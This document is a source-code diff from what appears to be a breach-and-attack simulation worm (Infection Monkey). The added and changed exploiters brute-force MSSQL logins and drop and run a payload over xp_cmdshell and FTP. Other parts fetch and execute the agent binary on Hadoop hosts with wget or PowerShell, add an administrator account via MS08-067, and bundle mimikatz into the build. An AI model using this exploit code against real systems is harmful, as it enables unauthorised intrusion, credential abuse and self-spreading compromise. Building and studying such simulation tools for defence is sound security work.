"post_breach_actions" : []
} }

View File

@ -45,3 +45,4 @@ from infection_monkey.exploit.elasticgroovy import ElasticGroovyExploiter
from infection_monkey.exploit.struts2 import Struts2Exploiter from infection_monkey.exploit.struts2 import Struts2Exploiter
from infection_monkey.exploit.weblogic import WebLogicExploiter from infection_monkey.exploit.weblogic import WebLogicExploiter
from infection_monkey.exploit.hadoop import HadoopExploiter from infection_monkey.exploit.hadoop import HadoopExploiter
from infection_monkey.exploit.mssqlexec import MSSQLExploiter

View File

@ -8,7 +8,7 @@ import json
import logging import logging
import requests import requests
from infection_monkey.exploit.web_rce import WebRCE from infection_monkey.exploit.web_rce import WebRCE
from infection_monkey.model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP from infection_monkey.model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX
from infection_monkey.network.elasticfinger import ES_PORT, ES_SERVICE from infection_monkey.network.elasticfinger import ES_PORT, ES_SERVICE
import re import re
@ -34,7 +34,7 @@ class ElasticGroovyExploiter(WebRCE):
exploit_config = super(ElasticGroovyExploiter, self).get_exploit_config() exploit_config = super(ElasticGroovyExploiter, self).get_exploit_config()
exploit_config['dropper'] = True exploit_config['dropper'] = True
exploit_config['url_extensions'] = ['_search?pretty'] exploit_config['url_extensions'] = ['_search?pretty']
exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': RDP_CMDLINE_HTTP} exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': CMD_PREFIX+" "+RDP_CMDLINE_HTTP}
return exploit_config return exploit_config
def get_open_service_ports(self, port_list, names): def get_open_service_ports(self, port_list, names):
@ -63,3 +63,20 @@ class ElasticGroovyExploiter(WebRCE):
return json_resp['hits']['hits'][0]['fields'][self.MONKEY_RESULT_FIELD] return json_resp['hits']['hits'][0]['fields'][self.MONKEY_RESULT_FIELD]
except (KeyError, IndexError): except (KeyError, IndexError):
return None return None
def check_if_exploitable(self, url):
# Overridden web_rce method that adds CMD prefix for windows command
try:
if 'windows' in self.host.os['type']:
resp = self.exploit(url, CMD_PREFIX+" "+CHECK_COMMAND)
else:
resp = self.exploit(url, CHECK_COMMAND)
if resp is True:
return True
elif resp is not False and ID_STRING in resp:
return True
else:
return False
except Exception as e:
LOG.error("Host's exploitability check failed due to: %s" % e)
return False

View File

@ -12,7 +12,7 @@ import posixpath
from infection_monkey.exploit.web_rce import WebRCE from infection_monkey.exploit.web_rce import WebRCE
from infection_monkey.exploit.tools import HTTPTools, build_monkey_commandline, get_monkey_depth from infection_monkey.exploit.tools import HTTPTools, build_monkey_commandline, get_monkey_depth
from infection_monkey.model import MONKEY_ARG, ID_STRING from infection_monkey.model import MONKEY_ARG, ID_STRING, HADOOP_WINDOWS_COMMAND, HADOOP_LINUX_COMMAND
__author__ = 'VakarisZ' __author__ = 'VakarisZ'
@ -22,16 +22,6 @@ LOG = logging.getLogger(__name__)
class HadoopExploiter(WebRCE): class HadoopExploiter(WebRCE):
_TARGET_OS_TYPE = ['linux', 'windows'] _TARGET_OS_TYPE = ['linux', 'windows']
HADOOP_PORTS = [["8088", False]] HADOOP_PORTS = [["8088", False]]
# We need to prevent from downloading if monkey already exists because hadoop uses multiple threads/nodes
# to download monkey at the same time
LINUX_COMMAND = "! [ -f %(monkey_path)s ] " \
"&& wget -O %(monkey_path)s %(http_path)s " \
"; chmod +x %(monkey_path)s " \
"&& %(monkey_path)s %(monkey_type)s %(parameters)s"
WINDOWS_COMMAND = "cmd /c if NOT exist %(monkey_path)s bitsadmin /transfer" \
" Update /download /priority high %(http_path)s %(monkey_path)s " \
"& %(monkey_path)s %(monkey_type)s %(parameters)s"
# How long we have our http server open for downloads in seconds # How long we have our http server open for downloads in seconds
DOWNLOAD_TIMEOUT = 60 DOWNLOAD_TIMEOUT = 60
# Random string's length that's used for creating unique app name # Random string's length that's used for creating unique app name
@ -46,6 +36,9 @@ class HadoopExploiter(WebRCE):
self.add_vulnerable_urls(urls, True) self.add_vulnerable_urls(urls, True)
if not self.vulnerable_urls: if not self.vulnerable_urls:
return False return False
# We presume hadoop works only on 64-bit machines
if self.host.os['type'] == 'windows':
self.host.os['machine'] = '64'
paths = self.get_monkey_paths() paths = self.get_monkey_paths()
if not paths: if not paths:
return False return False
@ -79,9 +72,9 @@ class HadoopExploiter(WebRCE):
# Build command to execute # Build command to execute
monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1) monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1)
if 'linux' in self.host.os['type']: if 'linux' in self.host.os['type']:
base_command = self.LINUX_COMMAND base_command = HADOOP_LINUX_COMMAND
else: else:
base_command = self.WINDOWS_COMMAND base_command = HADOOP_WINDOWS_COMMAND
return base_command % {"monkey_path": path, "http_path": http_path, return base_command % {"monkey_path": path, "http_path": http_path,
"monkey_type": MONKEY_ARG, "parameters": monkey_cmd} "monkey_type": MONKEY_ARG, "parameters": monkey_cmd}

View File

@ -0,0 +1,127 @@
import os
import platform
from os import path
import logging
import pymssql
from infection_monkey.exploit import HostExploiter, mssqlexec_utils
__author__ = 'Maor Rayzin'
LOG = logging.getLogger(__name__)
class MSSQLExploiter(HostExploiter):
_TARGET_OS_TYPE = ['windows']
LOGIN_TIMEOUT = 15
SQL_DEFAULT_TCP_PORT = '1433'
DEFAULT_PAYLOAD_PATH = os.path.expandvars(r'%TEMP%\~PLD123.bat') if platform.system() else '/tmp/~PLD123.bat'
def __init__(self, host):
super(MSSQLExploiter, self).__init__(host)
self.attacks_list = [mssqlexec_utils.CmdShellAttack]
def create_payload_file(self, payload_path=DEFAULT_PAYLOAD_PATH):
"""
This function creates dynamically the payload file to be transported and ran on the exploited machine.
:param payload_path: A path to the create the payload file in
:return: True if the payload file was created and false otherwise.
"""
try:
with open(payload_path, 'w+') as payload_file:
payload_file.write('dir C:\\')
return True
except Exception as e:
LOG.error("Payload file couldn't be created", exc_info=True)
return False
def exploit_host(self):
"""
Main function of the mssql brute force
Return:
True or False depends on process success
"""
username_passwords_pairs_list = self._config.get_exploit_user_password_pairs()
if not self.create_payload_file():
return False
if self.brute_force_begin(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list,
self.DEFAULT_PAYLOAD_PATH):
LOG.debug("Bruteforce was a success on host: {0}".format(self.host.ip_addr))
return True
else:
LOG.error("Bruteforce process failed on host: {0}".format(self.host.ip_addr))
return False
def handle_payload(self, cursor, payload):
"""
Handles the process of payload sending and execution, prepares the attack and details.
Args:
cursor (pymssql.conn.cursor obj): A cursor of a connected pymssql.connect obj to user for commands.
payload (string): Payload path
Return:
True or False depends on process success
"""
chosen_attack = self.attacks_list[0](payload, cursor, self.host.ip_addr)
if chosen_attack.send_payload():
LOG.debug('Payload: {0} has been successfully sent to host'.format(payload))
if chosen_attack.execute_payload():
LOG.debug('Payload: {0} has been successfully executed on host'.format(payload))
chosen_attack.cleanup_files()
return True
else:
LOG.error("Payload: {0} couldn't be executed".format(payload))
else:
LOG.error("Payload: {0} couldn't be sent to host".format(payload))
chosen_attack.cleanup_files()
return False
def brute_force_begin(self, host, port, users_passwords_pairs_list, payload):
"""
Starts the brute force connection attempts and if needed then init the payload process.
Main loop starts here.
Args:
host (str): Host ip address
port (str): Tcp port that the host listens to
payload (str): Local path to the payload
users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce with
Return:
True or False depends if the whole bruteforce and attack process was completed successfully or not
"""
# Main loop
# Iterates on users list
for user, password in users_passwords_pairs_list:
try:
# Core steps
# Trying to connect
conn = pymssql.connect(host, user, password, port=port, login_timeout=self.LOGIN_TIMEOUT)
LOG.info('Successfully connected to host: {0}, '
'using user: {1}, password: {2}'.format(host, user, password))
self.report_login_attempt(True, user, password)
cursor = conn.cursor()
# Handles the payload and return True or False
if self.handle_payload(cursor, payload):
LOG.debug("Successfully sent and executed payload: {0} on host: {1}".format(payload, host))
return True
else:
LOG.warning("user: {0} and password: {1}, "
"was able to connect to host: {2} but couldn't handle payload: {3}"
.format(user, password, host, payload))
except pymssql.OperationalError:
# Combo didn't work, hopping to the next one
pass
LOG.warning('No user/password combo was able to connect to host: {0}:{1}, '
'aborting brute force'.format(host, port))
return False

View File

@ -0,0 +1,214 @@
import os
import multiprocessing
import logging
import pymssql
from infection_monkey.exploit.tools import get_interface_to_target
from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer
__author__ = 'Maor Rayzin'
FTP_SERVER_PORT = 1026
FTP_SERVER_ADDRESS = ''
FTP_SERVER_USER = 'brute'
FTP_SERVER_PASSWORD = 'force'
FTP_WORKING_DIR = '.'
LOG = logging.getLogger(__name__)
class FTP(object):
"""Configures and establish an FTP server with default details.
Args:
user (str): User for FTP server auth
password (str): Password for FTP server auth
working_dir (str): The local working dir to init the ftp server on.
"""
def __init__(self, user=FTP_SERVER_USER, password=FTP_SERVER_PASSWORD,
working_dir=FTP_WORKING_DIR):
"""Look at class level docstring."""
self.user = user
self.password = password
self.working_dir = working_dir
def run_server(self, user=FTP_SERVER_USER, password=FTP_SERVER_PASSWORD,
working_dir=FTP_WORKING_DIR):
""" Configures and runs the ftp server to listen forever until stopped.
Args:
user (str): User for FTP server auth
password (str): Password for FTP server auth
working_dir (str): The local working dir to init the ftp server on.
"""
# Defining an authorizer and configuring the ftp user
authorizer = DummyAuthorizer()
authorizer.add_user(user, password, working_dir, perm='elradfmw')
# Normal ftp handler
handler = FTPHandler
handler.authorizer = authorizer
address = (FTP_SERVER_ADDRESS, FTP_SERVER_PORT)
# Configuring the server using the address and handler. Global usage in stop_server thats why using self keyword
self.server = FTPServer(address, handler)
# Starting ftp server, this server has no auto stop or stop clause, and also, its blocking on use, thats why I
# multiproccess is being used here.
self.server.serve_forever()
def stop_server(self):
# Stops the FTP server and closing all connections.
self.server.close_all()
class AttackHost(object):
"""
This class acts as an interface for the attacking methods class
Args:
payload_path (str): The local path of the payload file
"""
def __init__(self, payload_path):
self.payload_path = payload_path
def send_payload(self):
raise NotImplementedError("Send function not implemented")
def execute_payload(self):
raise NotImplementedError("execute function not implemented")
class CmdShellAttack(AttackHost):
"""
This class uses the xp_cmdshell command execution and will work only if its available on the remote host.
Args:
payload_path (str): The local path of the payload file
cursor (pymssql.conn.obj): A cursor object from pymssql.connect to run commands with.
"""
def __init__(self, payload_path, cursor, dst_ip_address):
super(CmdShellAttack, self).__init__(payload_path)
self.ftp_server, self.ftp_server_p = self.__init_ftp_server()
self.cursor = cursor
self.attacker_ip = get_interface_to_target(dst_ip_address)
def send_payload(self):
"""
Sets up an FTP server and using it to download the payload to the remote host
Return:
True if payload sent False if not.
"""
# Sets up the cmds to run
shellcmd1 = """xp_cmdshell "mkdir c:\\tmp& chdir c:\\tmp& echo open {0} {1}>ftp.txt& \
echo {2}>>ftp.txt" """.format(self.attacker_ip, FTP_SERVER_PORT, FTP_SERVER_USER)
shellcmd2 = """xp_cmdshell "chdir c:\\tmp& echo {0}>>ftp.txt" """.format(FTP_SERVER_PASSWORD)
shellcmd3 = """xp_cmdshell "chdir c:\\tmp& echo get {0}>>ftp.txt& echo bye>>ftp.txt" """\
.format(self.payload_path)
shellcmd4 = """xp_cmdshell "chdir c:\\tmp& cmd /c ftp -s:ftp.txt" """
shellcmds = [shellcmd1, shellcmd2, shellcmd3, shellcmd4]
# Checking to see if ftp server is up
if self.ftp_server_p and self.ftp_server:
try:
# Running the cmd on remote host
for cmd in shellcmds:
self.cursor.execute(cmd)
except Exception as e:
LOG.error('Error sending the payload using xp_cmdshell to host', exc_info=True)
self.ftp_server_p.terminate()
return False
return True
else:
LOG.error("Couldn't establish an FTP server for the dropout")
return False
def execute_payload(self):
"""
Executes the payload after ftp drop
Return:
True if payload was executed successfully, False if not.
"""
# Getting the payload's file name
payload_file_name = os.path.split(self.payload_path)[1]
# Preparing the cmd to run on remote, using no_output so I can capture exit code: 0 -> success, 1 -> error.
shellcmd = """DECLARE @i INT \
EXEC @i=xp_cmdshell "chdir C:\\& C:\\tmp\\{0}", no_output \
SELECT @i """.format(payload_file_name)
try:
# Executing payload on remote host
LOG.debug('Starting execution process of payload: {0} on remote host'.format(payload_file_name))
self.cursor.execute(shellcmd)
if self.cursor.fetchall()[0][0] == 0:
# Success
self.ftp_server_p.terminate()
LOG.debug('Payload: {0} execution on remote host was a success'.format(payload_file_name))
return True
else:
LOG.warning('Payload: {0} execution on remote host failed'.format(payload_file_name))
self.ftp_server_p.terminate()
return False
except pymssql.OperationalError:
LOG.error('Executing payload: {0} failed'.format(payload_file_name), exc_info=True)
self.ftp_server_p.terminate()
return False
def cleanup_files(self):
"""
Cleans up the folder with the attack related files (C:\\tmp by default)
:return: True or False if command executed or not.
"""
cleanup_command = """xp_cmdshell "rd /s /q c:\\tmp" """
try:
self.cursor.execute(cleanup_command)
LOG.info('Attack files cleanup command has been sent.')
return True
except Exception as e:
LOG.error('Error cleaning the attack files using xp_cmdshell, files may remain on host', exc_info=True)
return False
def __init_ftp_server(self):
"""
Init an FTP server using FTP class on a different process
Return:
ftp_s: FTP server object
p: the process obj of the FTP object
"""
try:
ftp_s = FTP()
multiprocessing.log_to_stderr(logging.DEBUG)
p = multiprocessing.Process(target=ftp_s.run_server)
p.start()
LOG.debug('Successfully established an FTP server in another process: {0}, {1}'.format(ftp_s, p.name))
return ftp_s, p
except Exception as e:
LOG.error('Exception raised while trying to pull up the ftp server', exc_info=True)
return None, None

View File

@ -202,8 +202,17 @@ class ShellShockExploiter(HostExploiter):
if is_https: if is_https:
attack_path = 'https://' attack_path = 'https://'
attack_path = attack_path + str(host) + ":" + str(port) attack_path = attack_path + str(host) + ":" + str(port)
reqs = []
timeout = False
attack_urls = [attack_path + url for url in url_list] attack_urls = [attack_path + url for url in url_list]
reqs = [requests.head(u, verify=False, timeout=TIMEOUT) for u in attack_urls] for u in attack_urls:
try:
reqs.append(requests.head(u, verify=False, timeout=TIMEOUT))
except requests.Timeout:
timeout = True
break
if timeout:
LOG.debug("Some connections timed out while sending request to potentially vulnerable urls.")
valid_resps = [req for req in reqs if req and req.status_code == requests.codes.ok] valid_resps = [req for req in reqs if req and req.status_code == requests.codes.ok]
urls = [resp.url for resp in valid_resps] urls = [resp.url for resp in valid_resps]

View File

@ -54,7 +54,7 @@ class WebRCE(HostExploiter):
exploit_config['upload_commands'] = None exploit_config['upload_commands'] = None
# url_extensions: What subdirectories to scan (www.domain.com[/extension]). Eg. ["home", "index.php"] # url_extensions: What subdirectories to scan (www.domain.com[/extension]). Eg. ["home", "index.php"]
exploit_config['url_extensions'] = None exploit_config['url_extensions'] = []
# stop_checking_urls: If true it will stop checking vulnerable urls once one was found vulnerable. # stop_checking_urls: If true it will stop checking vulnerable urls once one was found vulnerable.
exploit_config['stop_checking_urls'] = False exploit_config['stop_checking_urls'] = False

View File

@ -13,13 +13,16 @@ from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
import threading import threading
import logging import logging
import time
__author__ = "VakarisZ" __author__ = "VakarisZ"
LOG = logging.getLogger(__name__) LOG = logging.getLogger(__name__)
# How long server waits for get request in seconds # How long server waits for get request in seconds
SERVER_TIMEOUT = 4 SERVER_TIMEOUT = 4
# How long to wait for a request to go to vuln machine and then to our server from there. In seconds # How long should be wait after each request in seconds
REQUEST_DELAY = 0.0001
# How long to wait for a sign(request from host) that server is vulnerable. In seconds
REQUEST_TIMEOUT = 2 REQUEST_TIMEOUT = 2
# How long to wait for response in exploitation. In seconds # How long to wait for response in exploitation. In seconds
EXECUTION_TIMEOUT = 15 EXECUTION_TIMEOUT = 15
@ -66,18 +69,41 @@ class WebLogicExploiter(WebRCE):
print(e) print(e)
return True return True
def check_if_exploitable(self, url): def add_vulnerable_urls(self, urls, stop_checking=False):
"""
Overrides parent method to use listener server
"""
# Server might get response faster than it starts listening to it, we need a lock # Server might get response faster than it starts listening to it, we need a lock
httpd, lock = self._start_http_server() httpd, lock = self._start_http_server()
payload = self.get_test_payload(ip=httpd._local_ip, port=httpd._local_port) exploitable = False
for url in urls:
if self.check_if_exploitable_weblogic(url, httpd):
exploitable = True
break
if not exploitable and httpd.get_requests < 1:
# Wait for responses
time.sleep(REQUEST_TIMEOUT)
if httpd.get_requests > 0:
# Add all urls because we don't know which one is vulnerable
self.vulnerable_urls.extend(urls)
self._exploit_info['vulnerable_urls'] = self.vulnerable_urls
else:
LOG.info("No vulnerable urls found, skipping.")
self._stop_http_server(httpd, lock)
def check_if_exploitable_weblogic(self, url, httpd):
payload = self.get_test_payload(ip=httpd.local_ip, port=httpd.local_port)
try: try:
post(url, data=payload, headers=HEADERS, timeout=REQUEST_TIMEOUT, verify=False) post(url, data=payload, headers=HEADERS, timeout=REQUEST_DELAY, verify=False)
except exceptions.ReadTimeout: except exceptions.ReadTimeout:
# Our request does not get response thus we get ReadTimeout error # Our request will not get response thus we get ReadTimeout error
pass pass
except Exception as e: except Exception as e:
LOG.error("Something went wrong: %s" % e) LOG.error("Something went wrong: %s" % e)
self._stop_http_server(httpd, lock)
return httpd.get_requests > 0 return httpd.get_requests > 0
def _start_http_server(self): def _start_http_server(self):
@ -94,7 +120,8 @@ class WebLogicExploiter(WebRCE):
lock.acquire() lock.acquire()
return httpd, lock return httpd, lock
def _stop_http_server(self, httpd, lock): @staticmethod
def _stop_http_server(httpd, lock):
lock.release() lock.release()
httpd.join(SERVER_TIMEOUT) httpd.join(SERVER_TIMEOUT)
httpd.stop() httpd.stop()
@ -168,8 +195,8 @@ class WebLogicExploiter(WebRCE):
we determine if we can exploit by either getting a GET request from host or not. we determine if we can exploit by either getting a GET request from host or not.
""" """
def __init__(self, local_ip, local_port, lock, max_requests=1): def __init__(self, local_ip, local_port, lock, max_requests=1):
self._local_ip = local_ip self.local_ip = local_ip
self._local_port = local_port self.local_port = local_port
self.get_requests = 0 self.get_requests = 0
self.max_requests = max_requests self.max_requests = max_requests
self._stopped = False self._stopped = False
@ -184,7 +211,7 @@ class WebLogicExploiter(WebRCE):
LOG.info('Server received a request from vulnerable machine') LOG.info('Server received a request from vulnerable machine')
self.get_requests += 1 self.get_requests += 1
LOG.info('Server waiting for exploited machine request...') LOG.info('Server waiting for exploited machine request...')
httpd = HTTPServer((self._local_ip, self._local_port), S) httpd = HTTPServer((self.local_ip, self.local_port), S)
httpd.daemon = True httpd.daemon = True
self.lock.release() self.lock.release()
while not self._stopped and self.get_requests < self.max_requests: while not self._stopped and self.get_requests < self.max_requests:

View File

@ -192,9 +192,9 @@ class Ms08_067_Exploiter(HostExploiter):
sock.send("cmd /c (net user %s %s /add) &&" sock.send("cmd /c (net user %s %s /add) &&"
" (net localgroup administrators %s /add)\r\n" % " (net localgroup administrators %s /add)\r\n" %
(self._config.ms08_067_remote_user_add, (self._config.user_to_add,
self._config.ms08_067_remote_user_pass, self._config.remote_user_pass,
self._config.ms08_067_remote_user_add)) self._config.user_to_add))
time.sleep(2) time.sleep(2)
reply = sock.recv(1000) reply = sock.recv(1000)
@ -213,8 +213,8 @@ class Ms08_067_Exploiter(HostExploiter):
remote_full_path = SmbTools.copy_file(self.host, remote_full_path = SmbTools.copy_file(self.host,
src_path, src_path,
self._config.dropper_target_path_win_32, self._config.dropper_target_path_win_32,
self._config.ms08_067_remote_user_add, self._config.user_to_add,
self._config.ms08_067_remote_user_pass) self._config.remote_user_pass)
if not remote_full_path: if not remote_full_path:
# try other passwords for administrator # try other passwords for administrator
@ -240,7 +240,7 @@ class Ms08_067_Exploiter(HostExploiter):
try: try:
sock.send("start %s\r\n" % (cmdline,)) sock.send("start %s\r\n" % (cmdline,))
sock.send("net user %s /delete\r\n" % (self._config.ms08_067_remote_user_add,)) sock.send("net user %s /delete\r\n" % (self._config.user_to_add,))
except Exception as exc: except Exception as exc:
LOG.debug("Error in post-debug phase while exploiting victim %r: (%s)", self.host, exc) LOG.debug("Error in post-debug phase while exploiting victim %r: (%s)", self.host, exc)
return False return False

View File

@ -13,6 +13,7 @@ from infection_monkey.config import WormConfiguration, EXTERNAL_CONFIG_FILE
from infection_monkey.dropper import MonkeyDrops from infection_monkey.dropper import MonkeyDrops
from infection_monkey.model import MONKEY_ARG, DROPPER_ARG from infection_monkey.model import MONKEY_ARG, DROPPER_ARG
from infection_monkey.monkey import InfectionMonkey from infection_monkey.monkey import InfectionMonkey
import infection_monkey.post_breach # dummy import for pyinstaller
__author__ = 'itamar' __author__ = 'itamar'
@ -21,7 +22,7 @@ LOG = None
LOG_CONFIG = {'version': 1, LOG_CONFIG = {'version': 1,
'disable_existing_loggers': False, 'disable_existing_loggers': False,
'formatters': {'standard': { 'formatters': {'standard': {
'format': '%(asctime)s [%(process)d:%(levelname)s] %(module)s.%(funcName)s.%(lineno)d: %(message)s'}, 'format': '%(asctime)s [%(process)d:%(thread)d:%(levelname)s] %(module)s.%(funcName)s.%(lineno)d: %(message)s'},
}, },
'handlers': {'console': {'class': 'logging.StreamHandler', 'handlers': {'console': {'class': 'logging.StreamHandler',
'level': 'DEBUG', 'level': 'DEBUG',

View File

@ -24,8 +24,20 @@ CHMOD_MONKEY = "chmod +x %(monkey_path)s"
RUN_MONKEY = " %(monkey_path)s %(monkey_type)s %(parameters)s" RUN_MONKEY = " %(monkey_path)s %(monkey_type)s %(parameters)s"
# Commands used to check for architecture and if machine is exploitable # Commands used to check for architecture and if machine is exploitable
CHECK_COMMAND = "echo %s" % ID_STRING CHECK_COMMAND = "echo %s" % ID_STRING
# CMD prefix for windows commands
CMD_PREFIX = "cmd.exe /c"
# Architecture checking commands # Architecture checking commands
GET_ARCH_WINDOWS = "wmic os get osarchitecture" GET_ARCH_WINDOWS = "wmic os get osarchitecture"
GET_ARCH_LINUX = "lscpu" GET_ARCH_LINUX = "lscpu"
# All in one commands (upload, change permissions, run)
HADOOP_WINDOWS_COMMAND = "powershell -NoLogo -Command \"if (!(Test-Path '%(monkey_path)s')) { " \
"Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing }; " \
" if (! (ps | ? {$_.path -eq '%(monkey_path)s'})) " \
"{& %(monkey_path)s %(monkey_type)s %(parameters)s } \""
HADOOP_LINUX_COMMAND = "! [ -f %(monkey_path)s ] " \
"&& wget -O %(monkey_path)s %(http_path)s " \
"; chmod +x %(monkey_path)s " \
"&& %(monkey_path)s %(monkey_type)s %(parameters)s"
DOWNLOAD_TIMEOUT = 300 DOWNLOAD_TIMEOUT = 300

View File

@ -2,8 +2,9 @@ __author__ = 'itamar'
class VictimHost(object): class VictimHost(object):
def __init__(self, ip_addr): def __init__(self, ip_addr, domain_name=''):
self.ip_addr = ip_addr self.ip_addr = ip_addr
self.domain_name = str(domain_name)
self.os = {} self.os = {}
self.services = {} self.services = {}
self.monkey_exe = None self.monkey_exe = None

View File

@ -1,32 +0,0 @@
# -*- mode: python -*-
block_cipher = None
a = Analysis(['main.py'],
pathex=['..'],
binaries=None,
datas=None,
hiddenimports=['_cffi_backend'],
hookspath=None,
runtime_hooks=None,
excludes=None,
win_no_prefer_redirects=None,
win_private_assemblies=None,
cipher=block_cipher)
a.binaries += [('sc_monkey_runner32.so', './bin/sc_monkey_runner32.so', 'BINARY')]
a.binaries += [('sc_monkey_runner64.so', './bin/sc_monkey_runner64.so', 'BINARY')]
pyz = PYZ(a.pure, a.zipped_data,
cipher=block_cipher)
exe = EXE(pyz,
a.scripts,
a.binaries,
a.zipfiles,
a.datas,
name='monkey',
debug=False,
strip=True,
upx=True,
console=True )

View File

@ -109,6 +109,10 @@ class InfectionMonkey(object):
system_info = system_info_collector.get_info() system_info = system_info_collector.get_info()
ControlClient.send_telemetry("system_info_collection", system_info) ControlClient.send_telemetry("system_info_collection", system_info)
for action_class in WormConfiguration.post_breach_actions:
action = action_class()
action.act()
if 0 == WormConfiguration.depth: if 0 == WormConfiguration.depth:
LOG.debug("Reached max depth, shutting down") LOG.debug("Reached max depth, shutting down")
ControlClient.send_telemetry("trace", "Reached max depth, shutting down") ControlClient.send_telemetry("trace", "Reached max depth, shutting down")
@ -120,9 +124,6 @@ class InfectionMonkey(object):
ControlClient.keepalive() ControlClient.keepalive()
ControlClient.load_control_config() ControlClient.load_control_config()
LOG.debug("Users to try: %s" % str(WormConfiguration.exploit_user_list))
LOG.debug("Passwords to try: %s" % str(WormConfiguration.exploit_password_list))
self._network.initialize() self._network.initialize()
self._exploiters = WormConfiguration.exploiter_classes self._exploiters = WormConfiguration.exploiter_classes
@ -132,8 +133,7 @@ class InfectionMonkey(object):
if not self._keep_running or not WormConfiguration.alive: if not self._keep_running or not WormConfiguration.alive:
break break
machines = self._network.get_victim_machines(WormConfiguration.scanner_class, machines = self._network.get_victim_machines(max_find=WormConfiguration.victims_max_find,
max_find=WormConfiguration.victims_max_find,
stop_callback=ControlClient.check_for_stop) stop_callback=ControlClient.check_for_stop)
is_empty = True is_empty = True
for machine in machines: for machine in machines:
@ -147,7 +147,7 @@ class InfectionMonkey(object):
finger.get_host_fingerprint(machine) finger.get_host_fingerprint(machine)
ControlClient.send_telemetry('scan', {'machine': machine.as_dict(), ControlClient.send_telemetry('scan', {'machine': machine.as_dict(),
'scanner': WormConfiguration.scanner_class.__name__}) })
# skip machines that we've already exploited # skip machines that we've already exploited
if machine in self._exploited_machines: if machine in self._exploited_machines:

View File

@ -2,39 +2,120 @@
import os import os
import platform import platform
__author__ = 'itay.mizeretz'
block_cipher = None
# Name of zip file in monkey. That's the name of the file in the _MEI folder # Name of zip file in monkey. That's the name of the file in the _MEI folder
MIMIKATZ_ZIP_NAME = 'tmpzipfile123456.zip' MIMIKATZ_ZIP_NAME = 'tmpzipfile123456.zip'
def main():
a = Analysis(['main.py'],
pathex=['..'],
hiddenimports=get_hidden_imports(),
hookspath=None,
runtime_hooks=None,
binaries=None,
datas=None,
excludes=None,
win_no_prefer_redirects=None,
win_private_assemblies=None,
cipher=block_cipher
)
a.binaries += get_binaries()
a.datas = process_datas(a.datas)
pyz = PYZ(a.pure, a.zipped_data, cipher=block_cipher)
exe = EXE(pyz,
a.scripts,
a.binaries,
a.zipfiles,
a.datas,
name=get_monkey_filename(),
debug=False,
strip=get_exe_strip(),
upx=True,
console=True,
icon=get_exe_icon())
def is_windows():
return platform.system().find("Windows") >= 0
def is_32_bit():
return platform.architecture()[0] == "32bit"
def get_bin_folder():
return os.path.join('.', 'bin')
def get_bin_file_path(filename):
return os.path.join(get_bin_folder(), filename)
def process_datas(orig_datas):
datas = orig_datas
if is_windows():
datas = [i for i in datas if i[0].find('Include') < 0]
datas += [(MIMIKATZ_ZIP_NAME, get_mimikatz_zip_path(), 'BINARY')]
return datas
def get_binaries():
binaries = get_windows_only_binaries() if is_windows() else get_linux_only_binaries()
binaries += get_sc_binaries()
binaries += get_traceroute_binaries()
return binaries
def get_windows_only_binaries():
binaries = []
binaries += get_msvcr()
return binaries
def get_linux_only_binaries():
binaries = []
return binaries
def get_hidden_imports():
return ['_cffi_backend', 'queue', '_mssql'] if is_windows() else ['_cffi_backend','_mssql']
def get_sc_binaries():
return [(x, get_bin_file_path(x), 'BINARY') for x in ['sc_monkey_runner32.so', 'sc_monkey_runner64.so']]
def get_msvcr():
return [('msvcr100.dll', os.environ['WINDIR'] + '\\system32\\msvcr100.dll', 'BINARY')]
def get_traceroute_binaries():
traceroute_name = 'traceroute32' if is_32_bit() else 'traceroute64'
return [(traceroute_name, get_bin_file_path(traceroute_name), 'BINARY')]
def get_monkey_filename():
return 'monkey.exe' if is_windows() else 'monkey'
def get_exe_strip():
return not is_windows()
def get_exe_icon():
return 'monkey.ico' if is_windows() else None
def get_mimikatz_zip_path(): def get_mimikatz_zip_path():
if platform.architecture()[0] == "32bit": mk_filename = 'mk32.zip' if is_32_bit() else 'mk64.zip'
return '.\\bin\\mk32.zip' return os.path.join(get_bin_folder(), mk_filename)
else:
return '.\\bin\\mk64.zip'
a = Analysis(['main.py'], main() # We don't check if __main__ because this isn't the main script.
pathex=['..'],
hiddenimports=['_cffi_backend', 'queue'],
hookspath=None,
runtime_hooks=None)
a.binaries += [('sc_monkey_runner32.so', '.\\bin\\sc_monkey_runner32.so', 'BINARY')]
a.binaries += [('sc_monkey_runner64.so', '.\\bin\\sc_monkey_runner64.so', 'BINARY')]
if platform.system().find("Windows") >= 0:
a.datas = [i for i in a.datas if i[0].find('Include') < 0]
a.datas += [(MIMIKATZ_ZIP_NAME, get_mimikatz_zip_path(), 'BINARY')]
pyz = PYZ(a.pure)
exe = EXE(pyz,
a.scripts,
a.binaries + [('msvcr100.dll', os.environ['WINDIR'] + '\\system32\\msvcr100.dll', 'BINARY')],
a.zipfiles,
a.datas,
name='monkey.exe',
debug=False,
strip=None,
upx=True,
console=True,
icon='monkey.ico')

View File

@ -101,9 +101,7 @@ int samba_init_module(void)
} }
// Build commandline // Build commandline
strncat(commandline, RUN_MONKEY_CMD, sizeof(RUN_MONKEY_CMD) - 1); snprintf(commandline, sizeof(commandline), "%s%s ", RUN_MONKEY_CMD, MONKEY_DEST_NAME);
strncat(commandline, MONKEY_DEST_NAME, sizeof(MONKEY_DEST_NAME) - 1);
strncat(commandline, " ", 1);
fread(commandline + strlen(commandline), 1, LINE_MAX_LENGTH, pFile); fread(commandline + strlen(commandline), 1, LINE_MAX_LENGTH, pFile);
fclose(pFile); fclose(pFile);

View File

@ -6,6 +6,7 @@ from infection_monkey.config import WormConfiguration
from infection_monkey.network.info import local_ips, get_interfaces_ranges from infection_monkey.network.info import local_ips, get_interfaces_ranges
from infection_monkey.model import VictimHost from infection_monkey.model import VictimHost
from infection_monkey.network import HostScanner from infection_monkey.network import HostScanner
from infection_monkey.network import TcpScanner, PingScanner
